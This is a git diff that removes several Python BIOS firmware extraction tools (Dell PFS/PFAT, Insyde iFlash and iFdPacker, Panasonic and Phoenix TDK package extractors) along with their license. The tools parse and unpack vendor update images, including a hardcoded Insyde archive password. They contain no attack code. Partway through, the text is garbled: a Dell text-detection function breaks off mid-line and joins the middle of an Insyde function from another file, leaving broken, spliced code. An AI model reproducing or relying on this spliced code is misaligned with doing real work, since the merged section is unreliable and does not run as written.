pfat_entry_start = 0 # Increasing sub-PFS PFAT Entry start offset - pfat_entry_index = 1 # Increasing sub-PFS PFAT Entry count index - _, pfs_entry_size = get_pfs_entry(pfat_payload, 0) # Get initial PFS PFAT Entry Size for loop - while len(pfat_payload[pfat_entry_start:pfat_entry_start + pfs_entry_size]) == pfs_entry_size: - # Get sub-PFS PFAT Entry Structure & Size info - pfat_entry_struct,pfat_entry_size = get_pfs_entry(pfat_payload, pfat_entry_start) - - # Analyze sub-PFS PFAT Entry Structure and get relevant info - pfat_entry,_,_,pfat_entry_data,_,pfat_entry_met,_,pfat_next_entry = parse_pfs_entry(pfat_payload, - pfat_entry_start, pfat_entry_size, pfat_entry_struct, 'sub-PFS PFAT Entry', padding + 4, structure) - - # Each sub-PFS PFAT Entry includes an AMI BIOS Guard (a.k.a. PFAT) block at the beginning - # We need to parse the PFAT block and remove its contents from the final Payload/Raw Data - pfat_hdr_off = pfat_entry_start + pfat_entry_size # PFAT block starts after PFS Entry - - # Get sub-PFS PFAT Header Structure values - pfat_hdr = get_struct(pfat_payload, pfat_hdr_off, IntelBiosGuardHeader) - - # Get ordinal value of the sub-PFS PFAT Entry Index - pfat_entry_idx_ord = get_ordinal(pfat_entry_index) - - # Show sub-PFS PFAT Header Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Header:\n', padding + 12) - pfat_hdr.struct_print(padding + 16) - - pfat_script_start = pfat_hdr_off + PFAT_HDR_LEN # PFAT Block Script Start - pfat_script_end = pfat_script_start + pfat_hdr.ScriptSize # PFAT Block Script End - pfat_script_data = pfat_payload[pfat_script_start:pfat_script_end] # PFAT Block Script Data - pfat_payload_start = pfat_script_end # PFAT Block Payload Start (at Script end) - pfat_payload_end = pfat_script_end + pfat_hdr.DataSize # PFAT Block Data End - pfat_payload_data = pfat_payload[pfat_payload_start:pfat_payload_end] # PFAT Block Raw Data - pfat_hdr_bgs_size = PFAT_HDR_LEN + pfat_hdr.ScriptSize # PFAT Block Header & Script Size - - # The PFAT Script End should match the total Entry Data Size w/o PFAT block - if pfat_hdr_bgs_size != pfat_entry.DataSize - pfat_hdr.DataSize: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & PFAT Size mismatch!', padding + 16) - - # Get PFAT Header Flags (SFAM, ProtectEC, GFXMitDis, FTU, Reserved) - is_sfam,_,_,_,_ = pfat_hdr.get_flags() - - # Parse sub-PFS PFAT Signature, if applicable (only when PFAT Header > SFAM flag is set) - if is_sfam and len(pfat_payload[pfat_payload_end:pfat_payload_end + PFAT_SIG_LEN]) == PFAT_SIG_LEN: - # Get sub-PFS PFAT Signature Structure values - pfat_sig = get_struct(pfat_payload, pfat_payload_end, IntelBiosGuardSignature2k) - - # Show sub-PFS PFAT Signature Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Signature:\n', padding + 12) - pfat_sig.struct_print(padding + 16) - - # Show PFAT Script via BIOS Guard Script Tool - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Script:\n', padding + 12) - - _ = parse_bg_script(pfat_script_data, padding + 16) - - # The payload of sub-PFS PFAT Entries is not in proper order by default - # We can get each payload's order from PFAT Script > OpCode #2 (set I0 imm) - # PFAT Script OpCode #2 > Operand #3 stores the payload Offset in final image - pfat_entry_off = int.from_bytes(pfat_script_data[0xC:0x10], 'little') - - # We can get each payload's length from PFAT Script > OpCode #4 (set I2 imm) - # PFAT Script OpCode #4 > Operand #3 stores the payload Length in final image - pfat_entry_len = int.from_bytes(pfat_script_data[0x1C:0x20], 'little') - - # Check that the PFAT Entry Length from Header & Script match - if pfat_hdr.DataSize != pfat_entry_len: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & Script Length mismatch!', padding + 12) - - # Initialize sub-PFS PFAT Entry Metadata Address - pfat_entry_adr = pfat_entry_off - - # Parse sub-PFS PFAT Entry/Block Metadata - if len(pfat_entry_met) >= PFS_PFAT_LEN: - # Get sub-PFS PFAT Metadata Structure values - pfat_met = get_struct(pfat_entry_met, 0, DellPfsPfatMetadata) - - # Store sub-PFS PFAT Entry Metadata Address - pfat_entry_adr = pfat_met.Address - - # Show sub-PFS PFAT Metadata Structure info - if structure: - printer(f'PFAT Block {pfat_entry_idx_ord} - Metadata:\n', padding + 12) - pfat_met.struct_print(padding + 16) - - # Another way to get each PFAT Entry Offset is from its Metadata, if applicable - # Check that the PFAT Entry Offsets from PFAT Script and PFAT Metadata match - if pfat_entry_off != pfat_met.Offset: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Offset mismatch!', padding + 16) - pfat_entry_off = pfat_met.Offset # Prefer Offset from Metadata, in case PFAT Script differs - - # Another way to get each PFAT Entry Length is from its Metadata, if applicable - # Check that the PFAT Entry Length from PFAT Script and PFAT Metadata match - if not (pfat_hdr.DataSize == pfat_entry_len == pfat_met.DataSize): - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Length mismatch!', padding + 16) - - # Check that the PFAT Entry payload Size from PFAT Header matches the one from PFAT Metadata - if pfat_hdr.DataSize != pfat_met.DataSize: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Block Size mismatch!', padding + 16) - - # Get sub-PFS Entry Raw Data by subtracting PFAT Header & Script from PFAT Entry Data - pfat_entry_data_raw = pfat_entry_data[pfat_hdr_bgs_size:] - - # The sub-PFS Entry Raw Data (w/o PFAT Header & Script) should match with the PFAT Block payload - if pfat_entry_data_raw != pfat_payload_data: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} w/o PFAT & PFAT Block Data mismatch!', padding + 16) - pfat_entry_data_raw = pfat_payload_data # Prefer Data from PFAT Block, in case PFAT Entry differs - - # Store each sub-PFS PFAT Entry/Block Offset, Address, Ordinal Index and Payload/Raw Data - # Goal is to sort these based on Offset first and Address second, in cases of same Offset - # For example, Precision 3430 has two PFAT Entries with the same Offset of 0x40000 at both - # BG Script and PFAT Metadata but their PFAT Metadata Address is 0xFF040000 and 0xFFA40000 - pfat_entries_all.append((pfat_entry_off, pfat_entry_adr, pfat_entry_idx_ord, pfat_entry_data_raw)) - - # Check if next sub-PFS PFAT Entry offset is valid - if pfat_next_entry <= 0: - printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} with invalid next PFAT Block offset!', padding + 16) - pfat_next_entry += pfs_entry_size # Avoid a potential infinite loop if next sub-PFS PFAT Entry offset is bad - - pfat_entry_start = pfat_next_entry # Next sub-PFS PFAT Entry starts after sub-PFS Entry Metadata Signature - - pfat_entry_index += 1 - - pfat_entries_all.sort() # Sort all sub-PFS PFAT Entries based on their Offset/Address - - block_start_exp = 0 # Initialize sub-PFS PFAT Entry expected Offset - total_pfat_data = b'' # Initialize final/ordered sub-PFS Entry Data - - # Parse all sorted sub-PFS PFAT Entries and merge their payload/data - for block_start,_,block_index,block_data in pfat_entries_all: - # Fill any data gaps between sorted sub-PFS PFAT Entries with padding - # For example, Precision 7960 v0.16.68 has gap at 0x1190000-0x11A0000 - block_data_gap = block_start - block_start_exp - if block_data_gap > 0: - printer(f'Warning: Filled sub-PFS PFAT {block_index} data gap 0x{block_data_gap:X} [0x{block_start_exp:X}-0x{block_start:X}]!', padding + 8) - total_pfat_data += b'\xFF' * block_data_gap # Use 0xFF padding to fill in data gaps in PFAT UEFI firmware images - - total_pfat_data += block_data # Append sorted sub-PFS PFAT Entry payload/data - - block_start_exp = len(total_pfat_data) # Set next sub-PFS PFAT Entry expected Start - - # Verify that the end offset of the last PFAT Entry matches the final sub-PFS Entry Data Size - if len(total_pfat_data) != pfat_entries_all[-1][0] + len(pfat_entries_all[-1][3]): - printer('Error: Detected sub-PFS PFAT total buffer size and last block end mismatch!', padding + 8) - - # Analyze sub-PFS Footer Structure - chk_pfs_ftr(pfat_footer, pfat_payload, entry_hdr.PayloadSize, 'Sub-PFS', padding + 4, structure) - - return total_pfat_data - -# Get Dell PFS Entry Structure & Size via its Version -def get_pfs_entry(buffer, offset): - pfs_entry_ver = int.from_bytes(buffer[offset + 0x10:offset + 0x14], 'little') # PFS Entry Version - - if pfs_entry_ver == 1: - return DellPfsEntryR1, ctypes.sizeof(DellPfsEntryR1) - - if pfs_entry_ver == 2: - return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) - - return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) - -# Determine Dell PFS Entry Version string -def get_entry_ver(version_fields, version_types): - version = '' # Initialize Version string - - # Each Version Type (1 byte) determines the type of each Version Value (2 bytes) - # Version Type 'N' is Number, 'A' is Text and ' ' is Empty/Unused - for index,field in enumerate(version_fields): - eol = '' if index == len(version_fields) - 1 else '.' - - if version_types[index] == 65: - version += f'{field:X}{eol}' # 0x41 = ASCII - elif version_types[index] == 78: - version += f'{field:d}{eol}' # 0x4E = Number - elif version_types[index] in (0, 32): - version = version.strip('.') # 0x00 or 0x20 = Unused - else: - version += f'{field:X}{eol}' # Unknown - - return version - -# Check if Dell PFS Header Version is known -def chk_hdr_ver(version, text, padding=0): - if version in (1,2): - return - - printer(f'Error: Unknown {text} Header Version {version}!', padding) - - return - -# Analyze Dell PFS Footer Structure -def chk_pfs_ftr(footer_buffer, data_buffer, data_size, text, padding=0, structure=True): - # Get PFS Footer Structure values - pfs_ftr = get_struct(footer_buffer, 0, DellPfsFooter) - - # Validate that a PFS Footer was parsed - if pfs_ftr.Tag == b'PFS.FTR.': - # Show PFS Footer Structure info - if structure: - printer('PFS Footer:\n', padding + 4) - pfs_ftr.struct_print(padding + 8) - else: - printer(f'Error: {text} Footer could not be found!', padding + 4) - - # Validate that PFS Header Payload Size matches the one at PFS Footer - if data_size != pfs_ftr.PayloadSize: - printer(f'Error: {text} Header & Footer Payload Size mismatch!', padding + 4) - - # Calculate the PFS Payload Data CRC-32 w/ Vector 0 - pfs_ftr_crc = ~zlib.crc32(data_buffer, 0) & 0xFFFFFFFF - - # Validate PFS Payload Data Checksum via PFS Footer - if pfs_ftr.Checksum != pfs_ftr_crc: - printer(f'Error: Invalid {text} Footer Payload Checksum!', padding + 4) - -# Write/Extract Dell PFS Entry Files (Data, Metadata, Signature) -def pfs_file_write(bin_buff, bin_name, bin_type, full_name, out_path, padding=0, structure=True, advanced=True): - # Store Data/Metadata Signature (advanced users only) - if bin_name.startswith('sign'): - final_name = f'{safe_name(full_name)}.{bin_name.split("_")[1]}.sig' - final_path = os.path.join(out_path, final_name) - - with open(final_path, 'wb') as pfs_out: - pfs_out.write(bin_buff) # Write final Data/Metadata Signature - - return # Skip further processing for Signatures - - # Store Data/Metadata Payload - bin_ext = f'.{bin_name}.bin' if advanced else '.bin' # Simpler Data/Metadata Extension for non-advanced users - - # Some Data may be Text or XML files with useful information for non-advanced users - is_text,final_data,file_ext,write_mode = bin_is_text(bin_buff, bin_type, bin_name == 'meta', padding, structure, advanced) - - final_name = f'{safe_name(full_name)}{bin_ext[:-4] + file_ext if is_text else bin_ext}' - final_path = os.path.join(out_path, final_name) - - with open(final_path, write_mode) as pfs_out: - pfs_out.write(final_data) # Write final Data/Metadata Payload - -# Check if Dell PFS Entry file/data is Text/XML and Convert -def bin_is_text(buffer, file_type, is_metadata, padding=0, structure=True, advanced=True): - is_text = False - write_mode = 'wb' - extension = '.bin' - buffer_in = buffer - - if b',END' in buffer[-0x8:]: # Text Type 1 - is_text = True - write_mode = 'w' - extension = '.txt' - buffer = buffer.decode('utf-8').split(',END')[0].replace(';','\n') - elif buffer.startswith(b'VendorName=Dell'): # Text Type 2 - is_text = True - write_mode = 'w' - extension = '.txt' - buffer = buffer.split(b'\x00')[0].decode('utf-8').replace(';','\n') - elif b' len(input_buffer): - continue - - iflash_match_all.append([ifl_bgn, ifl_hdr]) - - return iflash_match_all - -# Extract Insyde iFlash Update image -def insyde_iflash_extract(input_buffer, extract_path, padding=0): - insyde_iflash_all = insyde_iflash_detect(input_buffer) - - if not insyde_iflash_all: - return 127 - - printer('Detected Insyde iFlash Update image!', padding) - - make_dirs(extract_path, delete=True) - - exit_codes = [] - - for insyde_iflash in insyde_iflash_all: - exit_code = 0 - - ifl_bgn,ifl_hdr = insyde_iflash - - img_bgn = ifl_bgn + INS_IFL_LEN - img_end = img_bgn + ifl_hdr.ImageSize - img_bin = input_buffer[img_bgn:img_end] - - if len(img_bin) != ifl_hdr.ImageSize: - exit_code = 1 - - img_val = [ifl_hdr.get_image_tag(), 'bin'] - img_tag,img_ext = INS_IFL_IMG.get(img_val[0], img_val) - - img_name = f'{img_tag} [0x{img_bgn:08X}-0x{img_end:08X}]' - - printer(f'{img_name}\n', padding + 4) - - ifl_hdr.struct_print(padding + 8) - - if img_val == [img_tag,img_ext]: - printer(f'Note: Detected new Insyde iFlash tag {img_tag}!', padding + 12, pause=True) - - out_name = f'{img_name}.{img_ext}' - - out_path = os.path.join(extract_path, safe_name(out_name)) - - with open(out_path, 'wb') as out_image: - out_image.write(img_bin) - - printer(f'Succesfull Insyde iFlash > {img_tag} extraction!', padding + 12) - - exit_codes.append(exit_code) - - return sum(exit_codes) - -# Extract Insyde iFdPacker 7-Zip SFX 7z Update image -def insyde_packer_extract(input_buffer, extract_path, padding=0): - match_sfx = PAT_INSYDE_SFX.search(input_buffer) - - if not match_sfx: - return 127 - - printer('Detected Insyde iFdPacker Update image!', padding) - - make_dirs(extract_path, delete=True) - - sfx_buffer = bytearray(input_buffer[match_sfx.end() - 0x5:]) - - if sfx_buffer[:0x5] == b'\x6E\xF4\x79\x5F\x4E': - printer('Detected Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 4) - - for index,byte in enumerate(sfx_buffer): - sfx_buffer[index] = byte // 2 + (128 if byte % 2 else 0) - - printer('Removed Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 8) - - printer('Extracting Insyde iFdPacker > 7-Zip SFX archive...', padding + 4) - - if bytes(INS_SFX_PWD, 'utf-16le') in input_buffer[:match_sfx.start()]: - printer('Detected Insyde iFdPacker > 7-Zip SFX > Password!', padding + 8) - printer(INS_SFX_PWD, padding + 12) - - sfx_path = os.path.join(extract_path, 'Insyde_iFdPacker_SFX.7z') - - with open(sfx_path, 'wb') as sfx_file: - sfx_file.write(sfx_buffer) - - if is_szip_supported(sfx_path, padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True): - if szip_decompress(sfx_path, extract_path, 'Insyde iFdPacker > 7-Zip SFX', - padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True) == 0: - os.remove(sfx_path) - else: - return 125 - else: - return 126 - - exit_codes = [] - - for sfx_file in get_path_files(extract_path): - if is_insyde_ifd(sfx_file): - printer(f'{os.path.basename(sfx_file)}', padding + 12) - - ifd_code = insyde_ifd_extract(sfx_file, get_extract_path(sfx_file), padding + 16) - - exit_codes.append(ifd_code) - - return sum(exit_codes) - -# Insyde iFdPacker known 7-Zip SFX Password -INS_SFX_PWD = 'Y`t~i!L@i#t$U%h^s7A*l(f)E-d=y+S_n?i' - -# Insyde iFlash known Image Names -INS_IFL_IMG = { - 'BIOSCER' : ['Certificate', 'bin'], - 'BIOSCR2' : ['Certificate 2nd', 'bin'], - 'BIOSIMG' : ['BIOS-UEFI', 'bin'], - 'DRV_IMG' : ['isflash', 'efi'], - 'EC_IMG' : ['Embedded Controller', 'bin'], - 'INI_IMG' : ['platform', 'ini'], - 'ME_IMG' : ['Management Engine', 'bin'], - 'OEM_ID' : ['OEM Identifier', 'bin'], - } - -# Get common ctypes Structure Sizes -INS_IFL_LEN = ctypes.sizeof(IflashHeader) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_insyde_ifd, insyde_ifd_extract).run_utility() diff --git a/blobs/t480/biosutilities/LICENSE b/blobs/t480/biosutilities/LICENSE deleted file mode 100644 index 06831fb23..000000000 --- a/blobs/t480/biosutilities/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2019-2022 Plato Mavropoulos - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - -Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by: - -(a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or - -(b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution. - -Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise. - -DISCLAIMER - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py deleted file mode 100644 index 096bec3df..000000000 --- a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py +++ /dev/null @@ -1,209 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Panasonic BIOS Extract -Panasonic BIOS Package Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Panasonic BIOS Package Extractor v2.0_a10' - -import os -import io -import sys -import lznt1 -import pefile - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import get_path_files, make_dirs, path_stem, safe_name -from common.pe_ops import get_pe_file, get_pe_info, is_pe_file, show_pe_info -from common.patterns import PAT_MICROSOFT_CAB -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file - -# Check if input is Panasonic BIOS Package PE -def is_panasonic_pkg(in_file): - in_buffer = file_to_bytes(in_file) - - pe_file = get_pe_file(in_buffer, fast=True) - - if not pe_file: - return False - - pe_info = get_pe_info(pe_file) - - if not pe_info: - return False - - if pe_info.get(b'FileDescription',b'').upper() != b'UNPACK UTILITY': - return False - - if not PAT_MICROSOFT_CAB.search(in_buffer): - return False - - return True - -# Search and Extract Panasonic BIOS Package PE CAB archive -def panasonic_cab_extract(buffer, extract_path, padding=0): - pe_path,pe_file,pe_info = [None] * 3 - - cab_bgn = PAT_MICROSOFT_CAB.search(buffer).start() - cab_len = int.from_bytes(buffer[cab_bgn + 0x8:cab_bgn + 0xC], 'little') - cab_end = cab_bgn + cab_len - cab_bin = buffer[cab_bgn:cab_end] - cab_tag = f'[0x{cab_bgn:06X}-0x{cab_end:06X}]' - - cab_path = os.path.join(extract_path, f'CAB_{cab_tag}.cab') - - with open(cab_path, 'wb') as cab_file: - cab_file.write(cab_bin) # Store CAB archive - - if is_szip_supported(cab_path, padding, check=True): - printer(f'Panasonic BIOS Package > PE > CAB {cab_tag}', padding) - - if szip_decompress(cab_path, extract_path, 'CAB', padding + 4, check=True) == 0: - os.remove(cab_path) # Successful extraction, delete CAB archive - else: - return pe_path, pe_file, pe_info - else: - return pe_path, pe_file, pe_info - - for file_path in get_path_files(extract_path): - pe_file = get_pe_file(file_path, fast=True) - if pe_file: - pe_info = get_pe_info(pe_file) - if pe_info.get(b'FileDescription',b'').upper() == b'BIOS UPDATE': - pe_path = file_path - break - else: - return pe_path, pe_file, pe_info - - return pe_path, pe_file, pe_info - -# Extract & Decompress Panasonic BIOS Update PE RCDATA (LZNT1) -def panasonic_res_extract(pe_name, pe_file, extract_path, padding=0): - is_rcdata = False - - # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to RCDATA Directories - pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) - - # Parse all Resource Data Directories > RCDATA (ID = 10) - for entry in pe_file.DIRECTORY_ENTRY_RESOURCE.entries: - if entry.struct.name == 'IMAGE_RESOURCE_DIRECTORY_ENTRY' and entry.struct.Id == 0xA: - is_rcdata = True - for resource in entry.directory.entries: - res_bgn = resource.directory.entries[0].data.struct.OffsetToData - res_len = resource.directory.entries[0].data.struct.Size - res_end = res_bgn + res_len - res_bin = pe_file.get_data(res_bgn, res_len) - res_tag = f'{pe_name} [0x{res_bgn:06X}-0x{res_end:06X}]' - res_out = os.path.join(extract_path, f'{res_tag}') - - printer(res_tag, padding + 4) - - try: - res_raw = lznt1.decompress(res_bin[0x8:]) - - printer('Succesfull LZNT1 decompression via lznt1!', padding + 8) - except Exception: - res_raw = res_bin - - printer('Succesfull PE Resource extraction!', padding + 8) - - # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image - if is_ami_pfat(res_raw): - pfat_dir = os.path.join(extract_path, res_tag) - - parse_pfat_file(res_raw, pfat_dir, padding + 12) - else: - if is_pe_file(res_raw): - res_ext = 'exe' - elif res_raw.startswith(b'[') and res_raw.endswith((b'\x0D\x0A',b'\x0A')): - res_ext = 'txt' - else: - res_ext = 'bin' - - if res_ext == 'txt': - printer(new_line=False) - for line in io.BytesIO(res_raw).readlines(): - line_text = line.decode('utf-8','ignore').rstrip() - printer(line_text, padding + 12, new_line=False) - - with open(f'{res_out}.{res_ext}', 'wb') as out_file: - out_file.write(res_raw) - - return is_rcdata - -# Extract Panasonic BIOS Update PE Data when RCDATA is not available -def panasonic_img_extract(pe_name, pe_path, pe_file, extract_path, padding=0): - pe_data = file_to_bytes(pe_path) - - sec_bgn = pe_file.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].VirtualAddress - img_bgn = pe_file.OPTIONAL_HEADER.BaseOfData + pe_file.OPTIONAL_HEADER.SizeOfInitializedData - img_end = sec_bgn or len(pe_data) - img_bin = pe_data[img_bgn:img_end] - img_tag = f'{pe_name} [0x{img_bgn:X}-0x{img_end:X}]' - img_out = os.path.join(extract_path, f'{img_tag}.bin') - - printer(img_tag, padding + 4) - - with open(img_out, 'wb') as out_img: - out_img.write(img_bin) - - printer('Succesfull PE Data extraction!', padding + 8) - - return bool(img_bin) - -# Parse & Extract Panasonic BIOS Package PE -def panasonic_pkg_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - pkg_pe_file = get_pe_file(input_buffer, fast=True) - - if not pkg_pe_file: - return 2 - - pkg_pe_info = get_pe_info(pkg_pe_file) - - if not pkg_pe_info: - return 3 - - pkg_pe_name = path_stem(input_file) - - printer(f'Panasonic BIOS Package > PE ({pkg_pe_name})\n', padding) - - show_pe_info(pkg_pe_info, padding + 4) - - upd_pe_path,upd_pe_file,upd_pe_info = panasonic_cab_extract(input_buffer, extract_path, padding + 4) - - if not (upd_pe_path and upd_pe_file and upd_pe_info): - return 4 - - upd_pe_name = safe_name(path_stem(upd_pe_path)) - - printer(f'Panasonic BIOS Update > PE ({upd_pe_name})\n', padding + 12) - - show_pe_info(upd_pe_info, padding + 16) - - is_upd_res, is_upd_img = False, False - - is_upd_res = panasonic_res_extract(upd_pe_name, upd_pe_file, extract_path, padding + 16) - - if not is_upd_res: - is_upd_img = panasonic_img_extract(upd_pe_name, upd_pe_path, upd_pe_file, extract_path, padding + 16) - - os.remove(upd_pe_path) - - return 0 if is_upd_res or is_upd_img else 1 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_panasonic_pkg, panasonic_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py b/blobs/t480/biosutilities/Phoenix_TDK_Extract.py deleted file mode 100644 index 3328ad418..000000000 --- a/blobs/t480/biosutilities/Phoenix_TDK_Extract.py +++ /dev/null @@ -1,243 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Phoenix TDK Extract -Phoenix TDK Packer Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Phoenix TDK Packer Extractor v2.0_a10' - -import os -import sys -import lzma -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.path_ops import make_dirs, safe_name -from common.pe_ops import get_pe_file, get_pe_info -from common.patterns import PAT_MICROSOFT_MZ, PAT_MICROSOFT_PE, PAT_PHOENIX_TDK -from common.struct_ops import char, get_struct, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class PhoenixTdkHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Tag', char*8), # 0x00 - ('Size', uint32_t), # 0x08 - ('Count', uint32_t), # 0x0C - # 0x10 - ] - - def _get_tag(self): - return self.Tag.decode('utf-8','ignore').strip() - - def struct_print(self, p): - printer(['Tag :', self._get_tag()], p, False) - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Entries:', self.Count], p, False) - -class PhoenixTdkEntry(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Name', char*256), # 0x000 - ('Offset', uint32_t), # 0x100 - ('Size', uint32_t), # 0x104 - ('Compressed', uint32_t), # 0x108 - ('Reserved', uint32_t), # 0x10C - # 0x110 - ] - - COMP = {0: 'None', 1: 'LZMA'} - - def __init__(self, mz_base, *args, **kwargs): - super().__init__(*args, **kwargs) - self.Base = mz_base - - def get_name(self): - return self.Name.decode('utf-8','replace').strip() - - def get_offset(self): - return self.Base + self.Offset - - def get_compression(self): - return self.COMP.get(self.Compressed, f'Unknown ({self.Compressed})') - - def struct_print(self, p): - printer(['Name :', self.get_name()], p, False) - printer(['Offset :', f'0x{self.get_offset():X}'], p, False) - printer(['Size :', f'0x{self.Size:X}'], p, False) - printer(['Compression:', self.get_compression()], p, False) - printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) - -# Get Phoenix TDK Executable (MZ) Base Offset -def get_tdk_base(in_buffer, pack_off): - tdk_base_off = None # Initialize Phoenix TDK Base MZ Offset - - # Scan input file for all Microsoft executable patterns (MZ) before TDK Header Offset - mz_all = [mz for mz in PAT_MICROSOFT_MZ.finditer(in_buffer) if mz.start() < pack_off] - - # Phoenix TDK Header structure is an index table for all TDK files - # Each TDK file is referenced from the TDK Packer executable base - # The TDK Header is always at the end of the TDK Packer executable - # Thus, prefer the TDK Packer executable (MZ) closest to TDK Header - # For speed, check MZ closest to (or at) 0x0 first (expected input) - mz_ord = [mz_all[0]] + list(reversed(mz_all[1:])) - - # Parse each detected MZ - for mz in mz_ord: - mz_off = mz.start() - - # MZ (DOS) > PE (NT) image Offset is found at offset 0x3C-0x40 relative to MZ base - pe_off = mz_off + int.from_bytes(in_buffer[mz_off + 0x3C:mz_off + 0x40], 'little') - - # Skip MZ (DOS) with bad PE (NT) image Offset - if pe_off == mz_off or pe_off >= pack_off: - continue - - # Check if potential MZ > PE image magic value is valid - if PAT_MICROSOFT_PE.search(in_buffer[pe_off:pe_off + 0x4]): - try: - # Parse detected MZ > PE > Image, quickly (fast_load) - pe_file = get_pe_file(in_buffer[mz_off:], fast=True) - - # Parse detected MZ > PE > Info - pe_info = get_pe_info(pe_file) - - # Parse detected MZ > PE > Info > Product Name - pe_name = pe_info.get(b'ProductName',b'') - except Exception: - # Any error means no MZ > PE > Info > Product Name - pe_name = b'' - - # Check for valid Phoenix TDK Packer PE > Product Name - # Expected value is "TDK Packer (Extractor for Windows)" - if pe_name.upper().startswith(b'TDK PACKER'): - # Set TDK Base Offset to valid TDK Packer MZ offset - tdk_base_off = mz_off - - # Stop parsing detected MZ once TDK Base Offset is found - if tdk_base_off is not None: - break - else: - # No TDK Base Offset could be found, assume 0x0 - tdk_base_off = 0x0 - - return tdk_base_off - -# Scan input buffer for valid Phoenix TDK image -def get_phoenix_tdk(in_buffer): - # Scan input buffer for Phoenix TDK pattern - tdk_match = PAT_PHOENIX_TDK.search(in_buffer) - - if not tdk_match: - return None, None - - # Set Phoenix TDK Header ($PACK) Offset - tdk_pack_off = tdk_match.start() - - # Get Phoenix TDK Executable (MZ) Base Offset - tdk_base_off = get_tdk_base(in_buffer, tdk_pack_off) - - return tdk_base_off, tdk_pack_off - -# Check if input contains valid Phoenix TDK image -def is_phoenix_tdk(in_file): - buffer = file_to_bytes(in_file) - - return bool(get_phoenix_tdk(buffer)[1] is not None) - -# Parse & Extract Phoenix Tools Development Kit (TDK) Packer -def phoenix_tdk_extract(input_file, extract_path, padding=0): - exit_code = 0 - - input_buffer = file_to_bytes(input_file) 